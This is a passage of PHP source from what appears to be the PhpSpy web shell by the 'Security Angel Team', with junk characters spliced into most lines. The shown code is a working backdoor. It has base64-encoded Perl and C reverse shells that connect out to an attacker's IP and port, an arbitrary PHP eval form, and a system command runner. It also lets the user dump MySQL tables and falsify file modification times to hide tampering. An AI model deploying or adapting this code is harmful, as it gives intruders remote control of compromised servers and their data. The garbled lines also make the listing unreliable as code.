  1021.                         } else {% [9 k4 z/ ?% @( B9 i% ^
  1022.                                 $query = q("SHOW TABLE STATUS");! R: c) X3 A! [# T. x' m* Z6 ]
  1023.                                 $table_num = $table_rows = $data_size = 0;
    2 H: B: f4 @4 U
  1024.                                 $tabledb = array();
    . s  ~! S" u# B6 Z) R. ^
  1025.                                 while($table = mysql_fetch_array($query)) {3 j! G( _7 E: W8 H6 k' z, w
  1026.                                         $data_size = $data_size + $table['Data_length'];
    : C$ G4 o! J) L5 s* H
  1027.                                         $table_rows = $table_rows + $table['Rows'];
    6 q0 C% D; e; P! s
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);
    4 C: t+ K8 c8 u- Z
  1029.                                         $table_num++;; X' g' P1 ]5 [, {" G) d+ s
  1030.                                         $tabledb[] = $table;+ C3 @8 N3 i9 N7 h2 O
  1031.                                 }" t: a; ^" x& B! b$ x  @1 q7 h3 o
  1032.                                 $data_size = sizecount($data_size);
    ' P# a, ~4 X- X
  1033.                                 unset($table);2 n8 z* H% o: X0 q. f. y+ s8 ~
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');' i2 f- x1 Q% ?! K9 z: C
  1035.                                 p('<form action="'.$self.'" method="POST">');5 x' @3 F/ W7 |9 {6 `; k; S
  1036.                                 makehide('action','sqladmin');
    9 a5 }: |3 I# ~- @
  1037.                                 p($dbform);
    : H* h  d6 n# t% |/ Y
  1038.                                 p('<tr class="head">');% H8 a: }+ \  ^! n% u
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');0 U  E6 J! |& ]) d8 B9 f9 a
  1040.                                 p('<td>Name</td>');
    * L& r, C- f  e
  1041.                                 p('<td>Rows</td>');
    ! v! S1 k4 s, b8 z3 a# _; _
  1042.                                 p('<td>Data_length</td>');
    ; u0 P7 G: C8 U8 X0 {4 n8 s
  1043.                                 p('<td>Create_time</td>');
    8 X# q- \5 L" ~
  1044.                                 p('<td>Update_time</td>');; }/ L5 ~! L7 G3 k4 z
  1045.                                 if ($highver) {
    ' b1 y/ g1 {1 ~. Q* r1 h2 n0 z
  1046.                                         p('<td>Engine</td>');
    - [; O3 @2 f& V% U0 U+ B
  1047.                                         p('<td>Collation</td>');( T7 b" g2 m8 P
  1048.                                 }1 x: ~) V+ r- e/ p- \  e* @
  1049.                                 p('</tr>');( B: ], @6 K" k, ?+ \" X
  1050.                                 foreach ($tabledb as $key => $table) {
      E# \' E4 D# w
  1051.                                         $thisbg = bg();
    3 X4 X. [% o' {* M
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    6 V& y6 s6 ]5 J; t0 e
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
    ' s" ]1 q' Y& {8 ^4 K' b" S' S( g$ \
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    2 g$ l6 X, W& P5 h. s2 c( q, u
  1055.                                         p('<td>'.$table['Rows'].'</td>');8 r: o7 p1 J& l
  1056.                                         p('<td>'.$table['Data_length'].'</td>');) q2 a% R; s. J. S5 `7 x2 _2 @
  1057.                                         p('<td>'.$table['Create_time'].'</td>');; n8 ^2 H0 E1 c# P8 q
  1058.                                         p('<td>'.$table['Update_time'].'</td>');
    * o9 R$ t: C$ s& u3 I* l. m! {' f
  1059.                                         if ($highver) {. _# ~' t5 e, i, X# N; Y8 q5 N  U
  1060.                                                 p('<td>'.$table['Engine'].'</td>');
    * E  V& n% z# ^' c2 r+ E7 e7 C
  1061.                                                 p('<td>'.$table['Collation'].'</td>');7 {0 z& P! x& x  }
  1062.                                         }
    ' D+ x5 }/ b$ `4 m0 k! b4 W
  1063.                                         p('</tr>');6 h- L) _. \( G5 U4 Z( l) v
  1064.                                 }( T+ _$ h3 k+ n1 P( f1 l: d2 o
  1065.                                 p('<tr class='.bg().'>');
    # t; l# _. d+ }
  1066.                                 p('<td> </td>');
    ( p1 e- A# K) l0 d1 _; I/ L
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');
    5 L4 B( K& X  I- y' _
  1068.                                 p('<td>'.$table_rows.'</td>');5 ^/ S" |( g' t9 {2 a
  1069.                                 p('<td>'.$data_size.'</td>');/ N. \# m+ c! g& H7 _
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
    ) l6 I1 N, _+ B* J
  1071.                                 p('</tr>');
    ( k$ G. a( N7 w4 S1 X. w' S
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");  k; o/ o" G* i/ f+ o3 L$ X7 I
  1073.                                 makehide('doing','backupmysql');' F+ I" @/ o- z3 }! V" e5 L" G) ?1 @
  1074.                                 formfoot();3 b% P% b, c8 Z
  1075.                                 p("</table>");1 e6 p" P0 e# X1 q( K' p
  1076.                                 fr($query);* X- r: c# P; s
  1077.                         }, D3 D4 c/ b# \: O; H' r; b: f
  1078.                 }
    - A6 }) q) L; G3 u; ^/ y- n
  1079.         }$ Y9 W3 l; q0 [( ], }4 z4 F) C( _
  1080.         tbfoot();
      h9 }% g/ W9 Z& u) \6 C
  1081.         @mysql_close();
    ) \% K' V2 |0 d" W
  1082. }//end sql backup; c) w) s. J  i+ p& O7 Y
  1083. elseif ($action == 'backconnect') {
    0 e' h  y1 V8 w0 C0 x2 ^
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
    ' E$ e  k# `; M
  1085.         !$yourport && $yourport = '12345';
    / x: \2 ~( D" ]  a2 @0 z
  1086.         $usedb = array('perl'=>'perl','c'=>'c');
    . m. Z0 d/ N5 ~$ G: p6 ]
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".6 h+ n* P' J5 k& o1 x! E0 E
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".- p% h' y3 t2 T7 L. C
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".3 o4 N4 j0 Y* T" h( I# ^
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".5 Q+ i' K5 U& g4 M3 m; c" z
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    6 @1 x1 S* Y) U" M% j
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    - `6 R  z( o8 Y- C2 j
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    + O( H+ `, \; d. i* p6 a
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
    & D9 h8 Q, ]7 C. }
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".: T3 _2 p  [" i5 J9 `3 R
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".# _9 h; F3 c$ P/ D- g2 W
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
    - ^$ N7 g4 J  }4 D" b, {% d
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
    : d1 K3 i$ u4 ~2 F* @/ A1 j
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".2 R& ~% P) ~; K: m' I  r6 X- W
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
    3 _6 f3 H7 W( G
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    , Q2 D, S% @# h; w! D5 S9 l
  1102.         if ($start && $yourip && $yourport && $use){6 i8 ?- ?  F! H
  1103.                 if ($use == 'perl') {
    0 x# Y8 B4 H, l) q( `* A$ T! j: J
  1104.                         cf('/tmp/angel_bc',$back_connect);% L) G4 ~4 ]1 C" C
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");( Y- j2 T6 q/ D& Y
  1106.                 } else {
    , b& o5 Z/ Y3 F
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);% p$ h3 b/ u; i& f4 _( D  o' R4 ~
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');, V" m. T1 Q) ~# f( C+ x( |
  1109.                         @unlink('/tmp/angel_bc.c');
    : w4 ?. e. y. ?. `* N
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");3 h% y5 o& _4 p* f
  1111.                 }
    ) o& l  O1 }+ ~/ a* H$ r: S+ E
  1112.                 m("Now script try connect to $yourip port $yourport ...");
    ) c/ h. z$ d9 `7 Z- @' d
  1113.         }
    ! t2 |5 |9 U7 y/ {  M
  1114.         formhead(array('title'=>'Back Connect'));5 V) |$ \: j1 U, ^7 D/ ]
  1115.         makehide('action','backconnect');
    " e2 Z) R3 E8 {7 G# [$ A
  1116.         p('<p>');/ K! R& k. U2 ~" V% ~
  1117.         p('Your IP:');
    . B- \' E9 u, ?
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));9 a0 V) i0 R& J! ]$ u
  1119.         p('Your Port:');
    ! B, O! {/ }7 V2 y. ?
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));- W6 Z* W8 D! m6 C; }
  1121.         p('Use:');
    & ^/ ?/ c7 H! R0 f$ N
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
    2 i$ H/ S# a, z9 A
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
    ' z8 m3 y, g8 P/ X& X
  1124.         p('</p>');
    + Q: s! I  ]3 W: ~
  1125.         formfoot();
    8 f  m0 D  w+ Z1 x& u4 h
  1126. }//end sql backup
    - ~3 i  k& r! u) h! D5 v0 ~
  1127. elseif ($action == 'eval') {! v' }/ S$ n1 X6 M# X6 a5 A7 H
  1128.         $phpcode = trim($phpcode);6 I3 Q5 ]  h# C. `. }5 F9 d: g3 X
  1129.         if($phpcode){7 C1 o; U0 B7 e; o4 N% t9 v
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {& E7 I4 S/ W# i8 `$ @
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";5 z: L# a* M# f4 t: Y
  1132.                 }
    : O  S4 l# ^/ l6 L3 m: q1 ^. w
  1133.                 eval("?".">$phpcode<?");! R" F- U& l! ^: e
  1134.         }/ X' {# p' _( {+ j( M/ z9 b2 P! I
  1135.         formhead(array('title'=>'Eval PHP Code'));! C; R+ }, S: h, a) a
  1136.         makehide('action','eval');! g8 F$ \* Y: g( F4 Q
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));  \( P3 g8 u# y$ K5 l
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
    ' z, e/ W0 H! r5 T: w! C. b
  1139.         formfooter();1 `; _0 ^$ r  {3 {
  1140. }//end eval  u" z; U( ]# M# j* x7 E7 V
  1141. - b2 ?0 R" D2 f9 o
  1142. elseif ($action == 'editfile') {
    / q& ~/ ]' N1 T1 d
  1143.         if(file_exists($opfile)) {6 G2 \* }7 k0 {. T3 v7 M0 x" b& A3 v
  1144.                 $fp=@fopen($opfile,'r');" c, ?: n2 v5 U8 j
  1145.                 $contents=@fread($fp, filesize($opfile));
    : `1 d4 b' s  o0 c, s
  1146.                 @fclose($fp);
    7 k, B# o5 B0 \3 ]
  1147.                 $contents=htmlspecialchars($contents);
      [; q$ u4 Q9 A6 u5 }
  1148.         }, ~$ x+ I+ {% t( H! A
  1149.         formhead(array('title'=>'Create / Edit File'));
    + e& F: J+ k+ J6 D) t" r7 D
  1150.         makehide('action','file');
    3 y- {7 q' S) H* o  [$ D
  1151.         makehide('dir',$nowpath);
    . ~8 o2 q4 j1 C0 V% N/ Q5 ~
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));& G/ ]* D6 H4 D8 b5 }' G
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    8 j/ O. N5 W/ x: X; Z/ h
  1154.         formfooter();6 l; p8 `& ^/ p  V# r% U; V8 c: e
  1155. }//end editfile
    ; G2 q0 }* ?/ b$ e# v7 x
  1156. 1 i# Q0 c+ p8 V
  1157. elseif ($action == 'newtime') {7 ^% A+ F+ l- v1 i" H
  1158.         $opfilemtime = @filemtime($opfile);
      Q+ v! P% }" m0 @$ P
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    + w! v5 N) H: e* d  T$ z$ D1 I
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);) ^# o; L9 F0 U& k9 O0 k3 F
  1161.         formhead(array('title'=>'Clone file was last modified time'));. B% `( {7 C) O  e
  1162.         makehide('action','file');
    9 `1 ]: }/ e! U+ A2 _, q
  1163.         makehide('dir',$nowpath);0 k% a* r: t/ w4 j
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    . [& l& J% Q) F5 g' P9 a
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
    & d: T7 Z2 \: C3 y& \
  1166.         formfooter();: m* e; ]# Y3 v5 S0 v/ ^7 c1 T
  1167.         formhead(array('title'=>'Set last modified'));/ s+ O+ o1 j# v4 I# v3 R
  1168.         makehide('action','file');. i# R& p0 Z! E8 C
  1169.         makehide('dir',$nowpath);
    8 w4 I* _$ \* s+ ~
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    % m  k" c0 o# r: q( q
  1171.         p('<p>Instead »');
    / L  ?( t  p: H1 n, E2 ]9 a: {
  1172.         p('year:');1 Y) R& ~+ p) l8 k! i) y+ [
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));% y" w/ q5 @0 M
  1174.         p('month:');- V$ M' h% c5 c9 N" h
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));; T; g# I' y/ @( E3 w  ?
  1176.         p('day:');- J, Y3 w0 w' J, B' V7 }
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));' T, f" o! b2 P+ ~* ]/ b* h
  1178.         p('hour:');
      d  q/ f% o! Q" u: m+ f, v/ s
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    . U5 P/ n8 o, S* @2 M
  1180.         p('minute:');
    0 f9 D: ^' }+ X! f! i5 A7 i
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
    * {8 M! `9 q/ F* h! S) s' |" L
  1182.         p('second:');$ j7 P; K9 d. G
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));1 l$ `) H8 w% s% E# E1 }
  1184.         p('</p>');3 G9 a" c1 U& m
  1185.         formfooter();- O+ H- o: X+ b* r; Z
  1186. }//end newtime
    ; a: Q" t" h- ~1 ]2 `2 N( y/ T3 }3 G

  1187.   Q, ~7 Q$ J$ h7 w4 M1 i# q
  1188. elseif ($action == 'shell') {
    3 E& Q* d- f* U) _9 j2 p6 O/ A) [
  1189.         if (IS_WIN && IS_COM) {+ [! ^; |, m( Q8 Q) H  p
  1190.                 if($program && $parameter) {
    $ P; w% U5 Y- ]& E) ~
  1191.                         $shell= new COM('Shell.Application');- {  D  T3 X; e6 X, u* m) K
  1192.                         $a = $shell->ShellExecute($program,$parameter);: g8 Q7 J/ G; i' Y1 z
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    ( y8 E! K/ L, z. l; C4 w8 C) C
  1194.                 }9 g, G: s1 a+ _; m
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';0 s3 }; S" F& K6 d2 c3 _& s
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
    % X  B6 Z) g4 P
  1197.                 formhead(array('title'=>'Execute Program'));% J2 z" I; g1 B0 O% X! s/ l: L* M
  1198.                 makehide('action','shell');
    # m. a1 X8 p. A0 ?. D& x
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
    , V$ m1 I* b3 Z: i
  1200.                 p('<p>');
    9 m1 u+ D2 B; K9 L
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));) U; B" X7 d) i  z
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    ) s' ?4 `' K: M
  1203.                 p('</p>');
    ! v! Z) r4 }4 T+ d# \( V
  1204.                 formfoot();, i. \: A7 J# ?- \
  1205.         }
    ' D: Y) @6 Z, ]! G2 ?7 d
  1206.         formhead(array('title'=>'Execute Command'));  U! ~" A* `  K6 u  @% j  t
  1207.         makehide('action','shell');* Y5 r; \" v- R! \
  1208.         if (IS_WIN && IS_COM) {
    / I) W  k3 h+ P8 c  i
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');  P% E$ I3 j# Q9 X* V
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));' E: s" {  A1 U+ M, j" q7 n, P
  1211.         }% v' x" N/ e" M8 [7 x# S2 o
  1212.         p('<p>');
    0 }8 J/ \. z+ D. y4 n& A8 r
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));$ q( R3 _" ^' h& M6 [
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));9 F% V) I& C% w5 M
  1215.         p('</p>');( P; G2 Q- q% C" A) x- d4 u& h$ r
  1216.         formfoot();8 I  V+ ^4 o- s1 s
  1217. 1 K* y5 T% [) H
  1218.         if ($command) {  y  u+ P; H4 [$ X# v' d; k
  1219.                 p('<hr width="100%" noshade /><pre>');
    3 L8 v) B3 y0 i2 r, [4 Y; \
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
    - J0 C) [3 q) w. T; x) g8 S
  1221.                         $wsh = new COM('WScript.shell');1 z# e9 r3 j" y/ c" f- w
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);4 j. H, a8 H1 N- \/ T, }* G
  1223.                         $stdout = $exec->StdOut();/ J1 c, A" O, {( G8 h6 s% W; @
  1224.                         $stroutput = $stdout->ReadAll();
    * D) c" q0 o$ P! \2 R1 Q9 A8 }
  1225.                         echo $stroutput;, g* H& l0 A  F" W7 Y$ \) \
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
    ( i  R" i8 N9 O  E; |
  1227.                         $descriptorspec = array(
    + |. c% Q) X4 I8 |& ]  `0 D
  1228.                            0 => array('pipe', 'r'),3 Y! _3 z! y& b' o& d
  1229.                            1 => array('pipe', 'w'),: J* r6 q, |, {+ i
  1230.                            2 => array('pipe', 'w')
    9 e( ]4 n, Q3 ^# ?4 ^. @* v3 g
  1231.                         );/ v7 q, y0 n# ~8 i* _- s% q; n
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);/ b% b. M# [% v3 J, }6 F9 d
  1233.                         if (is_resource($process)) {
    1 G+ G- [0 i" Y+ H# G  b
  1234.                                 fwrite($pipes[0], $command."\r\n");& V6 {1 Z  A5 g
  1235.                                 fwrite($pipes[0], "exit\r\n");' |2 t5 y3 k2 k3 p# ]+ Y' v
  1236.                                 fclose($pipes[0]);
    + N+ h, c3 @3 m0 L! i& w
  1237.                                 while (!feof($pipes[1])) {3 c8 P. {. `! [# z* @
  1238.                                         echo fgets($pipes[1], 1024);8 t% N0 K  ^4 y! m/ C
  1239.                                 }
    2 y) _* @3 k! Z$ X
  1240.                                 fclose($pipes[1]);
    4 p( j  G3 b5 z; J+ L6 A
  1241.                                 while (!feof($pipes[2])) {) T9 ^0 M0 F. ]
  1242.                                         echo fgets($pipes[2], 1024);6 U0 z8 Q0 U) G- [" F% l) K0 j: j% d. w
  1243.                                 }8 s6 |+ {# Q8 s" M
  1244.                                 fclose($pipes[2]);
    ! Z0 R" _: R& O1 G# j; d: C9 U
  1245.                                 proc_close($process);# L: x1 K! e0 F% C1 I  w/ t
  1246.                         }! i) a2 `+ ~" t4 I4 `, a6 i$ h/ j# m
  1247.                 } else {
    4 ~* l" O1 E* I6 q( p9 D" ~
  1248.                         echo(execute($command));
    ! v9 G9 E/ X( m5 w  u) x
  1249.                 }
    1 k# p6 @( i0 C
  1250.                 p('</pre>');
    8 Z5 z$ d2 ?# W# p2 i
  1251.         }
    ! Q: ]. v4 d9 d) U1 ]- Z2 s" n9 J
  1252. }//end shell$ R; f9 g7 P$ ^$ {4 x  i0 F

  1253. 5 L) @; \( R5 T. B/ s& A( A
  1254. elseif ($action == 'phpenv') {3 k( Z* d' u# X- v6 A
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
    ( q) Y3 [% ?  v
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');( l6 f- N9 K2 u- H6 o8 B1 J
  1257.         !$dis_func && $dis_func = 'No';       
    : s7 m% v% g" k( b& _+ }
  1258.         $info = array(1 b" C* a8 U; [& ^+ \; y
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),0 L/ G/ O; I5 }* q% G2 B0 C
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),3 ?9 }' N# G8 H! o, i
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
    . b; s& M+ u4 r9 {
  1262.                 4 => array('Server OS',PHP_OS),% `$ m5 O& i- g- z, J" R0 K
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),' s, u$ l7 n- y6 g
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),% q7 |& a7 I$ J! q- z
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
    * H+ B% y5 t4 P% M- i. z* v5 S
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),
    - X5 W8 N* [( }+ U/ b
  1267.                 9 => array('The file path',__FILE__),5 Y3 u+ b6 w! B/ l8 W
  1268. - f* h) j: W- x  R+ Y  d
  1269.                 10 => array('PHP Version',PHP_VERSION),5 \- s+ V. S5 D, y) x% P, t
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
    . y. P4 G3 L7 N. x# \* C0 R- q
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    # X/ {  T7 X4 c1 \& p3 ~$ C
  1272.                 13 => array('Administrator',$adminmail),/ @/ S3 A5 {9 u6 z5 B% ^. Y
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),. I6 D. p4 B8 ]  N! ~" Q
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),7 k3 O, {( Y8 x3 g
  1275.                 16 => array('display_errors',getcfg('display_errors')),% G2 ]4 x9 q' f' [1 S$ ~+ s, ]4 ]
  1276.                 17 => array('register_globals',getcfg('register_globals')),( |, ]$ F, v2 r1 u3 H! e
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),; z% d: ^# g6 X4 x$ L
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),9 H& N; @+ ^% K; i& `
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),. @9 l, U% `5 o; R
  1280.                 21 => array('upload_max_filesize',$upsize),8 P( [6 {) D& A  @$ k
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
      c7 T3 v6 b1 \  Q9 k
  1282.                 23 => array('disable_functions',$dis_func),- ]* i# x; t3 s2 g$ W* c2 c
  1283.         );: e% p" ]$ i% _4 _9 q3 d
  1284. . k7 S2 C. k! z; A# G2 r
  1285.         if($phpvarname) {
    8 [/ U$ n# g. A7 r( F( G
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));
    $ G) m9 y. V* z8 J* `* [
  1287.         }. X$ B+ z  w% R
  1288. 9 N7 A" e2 Y" W7 r; D* ]) M9 e
  1289.         formhead(array('title'=>'Server environment'));
    6 Q2 Q6 |% o& I7 ?6 I, F
  1290.         makehide('action','phpenv');( {5 Y2 l6 @" R" H- ]3 l
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
    & d/ R6 V: ]! V! N" A7 b' O7 g
  1292.         formfooter();- u: V& E9 Q5 K" n" s5 t6 T6 o0 `0 }

  1293. 8 V  o! z$ R  c
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');
    ; y. c9 D' |/ H1 t% W
  1295.         for($a=0;$a<2;$a++) {
    ( h. Y# J9 n# i8 w2 o/ i! ^: J5 G
  1296.                 p('<h2>'.$hp[$a].' »</h2>');- e  \6 i: W" s6 k+ N1 P
  1297.                 p('<ul class="info">');5 K& y# U- b; p
  1298.                 if ($a==0) {
    ' e, f& U% X  p/ N4 x, i
  1299.                         for($i=1;$i<=9;$i++) {2 O/ B! l7 _4 P1 r
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    7 S6 s$ W! g6 N6 k) {
  1301.                         }9 s! ~" C* o- C$ _; O5 Q' Q
  1302.                 } elseif ($a == 1) {% N: v" a& I/ Q3 F% k
  1303.                         for($i=10;$i<=23;$i++) {
    ) y1 y; T7 g! l
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');, _2 x4 L  m8 {' b: t# ^
  1305.                         }
    ) t) M3 i, U0 O6 V! v
  1306.                 }8 a  k8 M4 V  |4 m
  1307.                 p('</ul>');
    8 G: i" l7 \/ M/ [$ k. X$ J
  1308.         }# h4 L& W% g9 O& J5 |
  1309. }//end phpenv
    8 W3 V. E3 j6 E6 _% `) o

  1310. 8 z1 |: y1 o8 m( k  b# f% D
  1311. else {
    7 B% i$ N' h0 W+ l; r
  1312.         m('Undefined Action');% J3 l/ T0 J8 g/ ?$ g) y5 w9 U
  1313. }' A' F. b) G9 k5 A
  1314. " A: X& ^  h2 E" k2 ?7 T* B6 R+ J
  1315. ?>
    2 M' {+ `% t  R4 |1 b* h
  1316. </td></tr></table>" N1 [6 f' n, f, X
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    ( B5 F% L4 ~, M  A; w; D% A3 [- x) o
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>3 t* I/ x# p- t+ |/ S) C% c
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
    4 b, f( V0 L' D! s9 d  h/ u
  1320. </div>8 x: v( M' C/ A/ U0 F- u
  1321. </body>( k3 m8 l1 F- Q% o5 c1 A8 G
